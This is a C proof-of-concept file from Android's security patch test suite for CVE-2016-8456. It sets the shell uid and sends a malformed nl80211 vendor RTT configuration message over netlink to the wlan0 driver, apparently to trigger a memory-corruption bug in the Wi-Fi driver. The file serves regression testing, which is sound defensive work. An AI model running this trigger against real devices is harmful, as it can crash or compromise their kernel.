hostsidetests/security/securityPatch/CVE-2016-8456/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#define _GNU_SOURCE
#include <dlfcn.h>
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <jni.h>
#include <android/log.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <sys/types.h>
#include <netlink/msg.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
#include <linux/nl80211.h>

#define MAX_MSG_SIZE 1024
#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))

struct kgsl_perfcounter_query_compat {
  unsigned int groupid;
  unsigned int countables;
  unsigned int count;
  unsigned int max_counters;
  unsigned int __pad[2];
};
struct kgsl_perfcounter_read_group {
  unsigned int groupid;
  unsigned int countable;
  unsigned long long value;
};
#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)

struct kgsl_perfcounter_read_compat {
  unsigned int reads;
  unsigned int count;
  unsigned int __pad[2];
};

#define CAL_IOCTL_MAGIC 'a'

#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)

#define NL80211_ATTR_MAC 6
#define ETH_ALEN 6

struct nl_sock *nl_sk;
#define NL80211_ATTR_IFINDEX 3
enum wlan_hdd_tm_attr {
  WLAN_HDD_TM_ATTR_INVALID = 0,
  WLAN_HDD_TM_ATTR_CMD = 1,
  WLAN_HDD_TM_ATTR_DATA = 2,
  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
  WLAN_HDD_TM_ATTR_TYPE = 4,
  /* keep last */
  WLAN_HDD_TM_ATTR_AFTER_LAST,
  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
};

enum wlan_hdd_tm_cmd {
  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
  WLAN_HDD_TM_CMD_WLAN_HB = 1,
};

typedef enum {
  /* don't use 0 as a valid subcommand */
  VENDOR_NL80211_SUBCMD_UNSPECIFIED,

  /* define all vendor startup commands between 0x0 and 0x0FFF */
  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,

  /* define all GScan related commands between 0x1000 and 0x10FF */
  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,

  /* define all RTT related commands between 0x1100 and 0x11FF */
  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,

  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,

  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,

  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,

  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,

  /* define all wifi calling related commands between 0x1600 and 0x16FF */
  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,

  /* define all NAN related commands between 0x1700 and 0x17FF */
  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,

  /* define all packet filter related commands between 0x1800 and 0x18FF */
  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,

  /* This is reserved for future usage */

} ANDROID_VENDOR_SUB_COMMAND;

enum wl_vendor_subcmd {
  BRCM_VENDOR_SCMD_UNSPEC,
  BRCM_VENDOR_SCMD_PRIV_STR,
  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
  GSCAN_SUBCMD_SET_CONFIG,
  GSCAN_SUBCMD_SET_SCAN_CONFIG,
  GSCAN_SUBCMD_ENABLE_GSCAN,
  GSCAN_SUBCMD_GET_SCAN_RESULTS,
  GSCAN_SUBCMD_SCAN_RESULTS,
  GSCAN_SUBCMD_SET_HOTLIST,
  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
  GSCAN_SUBCMD_GET_CHANNEL_LIST,
  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
  ANDR_WIFI_RANDOM_MAC_OUI,
  ANDR_WIFI_NODFS_CHANNELS,
  ANDR_WIFI_SET_COUNTRY,
  GSCAN_SUBCMD_SET_EPNO_SSID,
  WIFI_SUBCMD_SET_SSID_WHITELIST,
  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
  WIFI_SUBCMD_SET_BSSID_PREF,
  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
  GSCAN_SUBCMD_ANQPO_CONFIG,
  WIFI_SUBCMD_SET_RSSI_MONITOR,
  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
  RTT_SUBCMD_CANCEL_CONFIG,
  RTT_SUBCMD_GETCAPABILITY,
  RTT_SUBCMD_GETAVAILCHANNEL,
  RTT_SUBCMD_SET_RESPONDER,
  RTT_SUBCMD_CANCEL_RESPONDER,
  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
  DEBUG_TRIGGER_MEM_DUMP,
  DEBUG_GET_MEM_DUMP,
  DEBUG_GET_VER,
  DEBUG_GET_RING_STATUS,
  DEBUG_GET_RING_DATA,
  DEBUG_GET_FEATURE,
  DEBUG_RESET_LOGGING,
  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
  DEBUG_GET_DRIVER_MEM_DUMP,
  DEBUG_START_PKT_FATE_MONITORING,
  DEBUG_GET_TX_PKT_FATES,
  DEBUG_GET_RX_PKT_FATES,
  DEBUG_GET_WAKE_REASON_STATS,
  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
  APF_SUBCMD_SET_FILTER,
  /* Add more sub commands here */
  VENDOR_SUBCMD_MAX
};

#define QCA_NL80211_VENDOR_ID 0x001374
#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83

#define BPF_SET_RESET 1
#define BPF_FILTER_ID 3
#define BPF_PACKET_SIZE 4
#define BPF_PROGRAM 6
#define QCA_WLAN_GET_PACKET_FILTER 2

#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15

#define RTT_ATTRIBUTE_TARGET_CNT 0
#define RTT_ATTRIBUTE_TARGET_CHAN 5
#define RTT_ATTRIBUTE_TARGET_INFO 1
typedef int wifi_channel;
typedef int wifi_channel_width_t;
typedef struct wifi_channel_info {
  wifi_channel_width_t width;
  wifi_channel center_freq;  /* primary 20 MHz channel */
  wifi_channel center_freq0; /* center freq (MHz) first segment */
  wifi_channel
      center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
} wifi_channel_info_t;

int test(void);
int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
                  u_int8_t genl_version);

int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
                  u_int8_t genl_version) {
  struct nl_msg *msg;
  int ret = -1;
  unsigned char dst[ETH_ALEN];
  struct nlattr *rret;
  struct nlattr *rret2;
  unsigned char oper_classes[253];

  wifi_channel_info_t c_info;

  unsigned char hb_params[512];

  struct nl80211_sta_flag_update flags;

  msg = nlmsg_alloc();
  int if_index = if_nametoindex("wlan0");

#define OUI_GOOGLE 0x001A11

  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);

  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);

  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);

  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, RTT_SUBCMD_SET_CONFIG);

  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);

  if (!rret) {
    return 1;
  }

  nla_put_u8(msg, RTT_ATTRIBUTE_TARGET_CNT, 0);

  rret2 = nla_nest_start(msg, RTT_ATTRIBUTE_TARGET_INFO);

  if (!rret2) {
    return 1;
  }

  nla_put(msg, RTT_ATTRIBUTE_TARGET_CHAN, sizeof(c_info), &c_info);

  nla_nest_end(msg, rret2);

  nla_nest_end(msg, rret);

  ret = nl_send_auto_complete(nl_sk, msg);

  return 0;
}

#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
#define AID_NET_RAW 3004 /* can create raw INET sockets */
#define AID_NET_ADMIN 3005

int test() {
  int fd = 0;
  int i = 0;
  int j = 0;
  int ret = 0;
  char *mem;
  int family_id = 0;
  struct audio_cal_basic *acb;
  struct sockaddr_nl saddr;
  int test = 0x1234;

  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);

  setuid(2000);

  nl_sk = nl_socket_alloc();
  ret = genl_connect(nl_sk);
  if (ret != 0) {
    return -1;
  }

  family_id = genl_ctrl_resolve(nl_sk, "nl80211");

  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);

  return 0;
}

int main(int argc, char *argv[]) { return test(); }